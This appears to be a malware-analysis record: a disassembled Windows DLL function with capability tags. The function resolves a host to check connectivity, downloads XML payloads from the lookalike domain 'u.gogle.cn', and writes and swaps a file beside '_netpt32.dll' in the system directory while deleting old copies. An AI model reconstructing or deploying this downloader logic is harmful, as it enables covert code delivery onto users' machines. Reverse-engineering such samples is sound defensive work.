Function at 0x10001aaa
Capabilities:
Delete file
Get common file path
Read .ini file
Resolve dns
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x13dc]
mov eax, 0x145c
call fcn.10016f20
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp + 0x13d8], eax
push ebx
xor ebx, ebx
cmp byte [0x10037ed1], bl
jne 0x10001fe1
cmp byte [0x10037cd0], bl
je 0x10001fe1
push str.www.qq.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10001fe1
call fcn.10001350
test al, al
je 0x10001fe1
push esi
mov esi, 0x1ff
push esi
lea eax, [ebp + 0xb99]
push ebx
push eax
mov byte [0x10037ed1], 1
mov byte [ebp + 0xb98], bl
call fcn.10011e30
lea eax, [ebp + 0xb98]
push 0x10037cd0
push eax
call fcn.10011d30
lea eax, [ebp + 0xb98]
push str.MyPlayermain.ini
push eax
call fcn.10011d40
push esi
lea eax, [ebp + 0x1199]
push ebx
push eax
mov byte [ebp + 0x1198], bl
call fcn.10011e30
add esp, 0x28
push esi
lea eax, [ebp + 0x1198]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x1198], bl
je 0x10001fe0
push edi
lea eax, [ebp + 0x1198]
push str._netpt32.dll
push eax
call fcn.10011d40
push esi
lea eax, [ebp + 0x999]
push ebx
push eax
mov byte [ebp + 0x998], bl
call fcn.10011e30
lea eax, [ebp + 0x1198]
push eax
lea eax, [ebp + 0x998]
push str._s.up
push eax
call fcn.10010e4b
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x20
lea eax, [ebp + 0x998]
push eax
call edi
push esi
lea eax, [ebp + 0x399]
push ebx
push eax
mov byte [ebp + 0x398], bl
call fcn.10011e30
lea eax, [ebp + 0x998]
push eax
lea eax, [ebp + 0x398]
push eax
call fcn.10011d30
lea eax, [ebp + 0x398]
push 0x1002cf68
push eax
call fcn.10011d40
add esp, 0x1c
lea eax, [ebp + 0x398]
push eax
call edi
push 0x3ff
lea eax, [ebp + 0x599]
push ebx
push eax
mov byte [ebp + 0x598], bl
call fcn.10011e30
call fcn.100013b9
mov esi, 0x400000
push esi
call fcn.10005130
push esi
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x70], edi
call fcn.10011e30
push str.option110.xml
push str.http:__u.gogle.cn_
lea eax, [ebp + 0x598]
push str._sjfservice1__s
push eax
mov byte [ebp - 0x69], bl
call fcn.10010e4b
lea eax, [ebp + 0x598]
push edi
push eax
call fcn.10001421
add esp, 0x34
cmp eax, 0x1e
jge 0x10001c89
push str.flag1
push edi
call fcn.10010d80
test eax, eax
pop ecx
pop ecx
je 0x10001c89
mov byte [ebp - 0x69], 1
push 0x400
lea eax, [ebp + 0x598]
push ebx
push eax
call fcn.10011e30
push esi
push ebx
push edi
call fcn.10011e30
push str.option105.xml
push str.http:__u.gogle.cn_
lea eax, [ebp + 0x598]
push str._sjfservice1__s
push eax
call fcn.10010e4b
lea eax, [ebp + 0x598]
push edi
push eax
call fcn.10001421
mov esi, eax
push esi
push edi
call fcn.10001501
push edi
call fcn.100014bb
add esp, 0x3c
test eax, eax
je 0x10001fd8
push str.value
push edi
call fcn.10010d80
push 0x1002cfac
push edi
mov esi, eax
call fcn.10010d80
add esp, 0x10
cmp esi, ebx
mov edx, eax
je 0x10001fd8
cmp edx, ebx
je 0x10001fd8
xor eax, eax
push 7
mov byte [ebp + 0x13b8], bl
pop ecx
lea edi, [ebp + 0x13b9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esi, 6
mov eax, edx
sub eax, esi
cmp eax, 0x1f
jle 0x10001d3c
push dword [ebp - 0x70]
jmp 0x10001fd9
push eax
lea eax, [ebp + 0x13b8]
push esi
push eax
call fcn.100110f0
add esp, 0xc
lea eax, [ebp + 0xb98]
push eax
push ebx
push str.size1
push str.SETUP
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x7c], eax
lea eax, [ebp + 0x13b8]
push eax
call fcn.10010ed7
cmp dword [ebp - 0x7c], eax
pop ecx
je 0x10001d34
mov edi, dword [ebp - 0x70]
push 0x400000
push ebx
push edi
call fcn.10011e30
push 0x400
lea eax, [ebp + 0x598]
push ebx
push eax
call fcn.10011e30
push str.option106.xml
push str.http:__u.gogle.cn_
lea eax, [ebp + 0x598]
push str._sjfservice1__s
push eax
call fcn.10010e4b
lea eax, [ebp + 0x598]
push edi
push eax
call fcn.10001421
mov esi, eax
push esi
push edi
call fcn.10001501
push edi
call fcn.100014bb
mov dword [ebp - 0x78], eax
lea eax, [ebp + 0x13b8]
push eax
call fcn.10010ed7
add esp, 0x40
cmp dword [ebp - 0x78], eax
jne 0x10001fd8
mov edi, 0x1ff
push edi
lea eax, [ebp + 0xf99]
push ebx
push eax
mov byte [ebp + 0xf98], bl
call fcn.10011e30
lea eax, [ebp + 0x1198]
push eax
lea eax, [ebp + 0xf98]
push eax
call fcn.10011d30
lea eax, [ebp + 0xf98]
push str..new
push eax
call fcn.10011d40
lea eax, [ebp + 0xf98]
push 0x1002cee8
push eax
call fcn.10011f6e
add esp, 0x24
cmp eax, ebx
mov dword [ebp - 0x80], eax
je 0x10001d34
push eax
push dword [ebp - 0x78]
push 1
push dword [ebp - 0x70]
call fcn.1001103b
add esp, 0x10
cmp byte [ebp - 0x69], bl
je 0x10001ecc
push 0x3ff
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.10011e30
push ebx
call fcn.10011455
push eax
call fcn.100110bd
add esp, 0x14
call fcn.100110ca
mov esi, eax
and esi, 0x800003ff
jns 0x10001e97
dec esi
or esi, 0xfffffc00
inc esi
cmp esi, ebx
mov dword [ebp - 0x74], ebx
jle 0x10001eba
call fcn.100110ca
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x74]
inc dword [ebp - 0x74]
cmp dword [ebp - 0x74], esi
mov byte [ebp + eax - 0x68], dl
jl 0x10001e9e
push dword [ebp - 0x80]
lea eax, [ebp - 0x68]
push esi
push 1
push eax
call fcn.1001103b
add esp, 0x10
push dword [ebp - 0x80]
call fcn.10011ff3
push edi
lea eax, [ebp + 0xd99]
push ebx
push eax
mov byte [ebp + 0xd98], bl
call fcn.10011e30
lea eax, [ebp + 0x1198]
push eax
lea eax, [ebp + 0xd98]
push eax
call fcn.10011d30
lea eax, [ebp + 0xd98]
push 0x1002cfd8
push eax
call fcn.10011d40
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x20
lea eax, [ebp + 0xd98]
push eax
call esi
lea eax, [ebp + 0xd98]
push eax
lea eax, [ebp + 0x1198]
push eax
call fcn.10011491
test eax, eax
pop ecx
pop ecx
je 0x10001f4a
cmp dword [ebp - 0x7c], ebx
je 0x10001f4a
lea eax, [ebp + 0xf98]
push eax
call esi
jmp 0x10001d34
lea eax, [ebp + 0x1198]
push eax
lea eax, [ebp + 0xf98]
push eax
call fcn.10011491
test eax, eax
pop ecx
pop ecx
je 0x10001f7a
lea eax, [ebp + 0x1198]
push eax
lea eax, [ebp + 0xd98]
push eax
call fcn.10011491
pop ecx
pop ecx
jmp 0x10001f3c
lea eax, [ebp + 0xd98]
push eax
call esi
push dword [ebp - 0x70]
call fcn.1000512b
push 7
pop ecx
push dword [ebp - 0x78]
xor eax, eax
mov byte [ebp + 0x1398], bl
lea edi, [ebp + 0x1399]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x1398]
push 0x1002d1d4
push eax
call fcn.10010e4b
add esp, 0x10
lea eax, [ebp + 0xb98]
push eax
lea eax, [ebp + 0x1398]
push eax
push str.size1
push str.SETUP
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x10001fdf
push edi
call fcn.1000512b
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x13d8]
xor ecx, ebp
pop ebx
call fcn.100114bf
add ebp, 0x13dc
leave
ret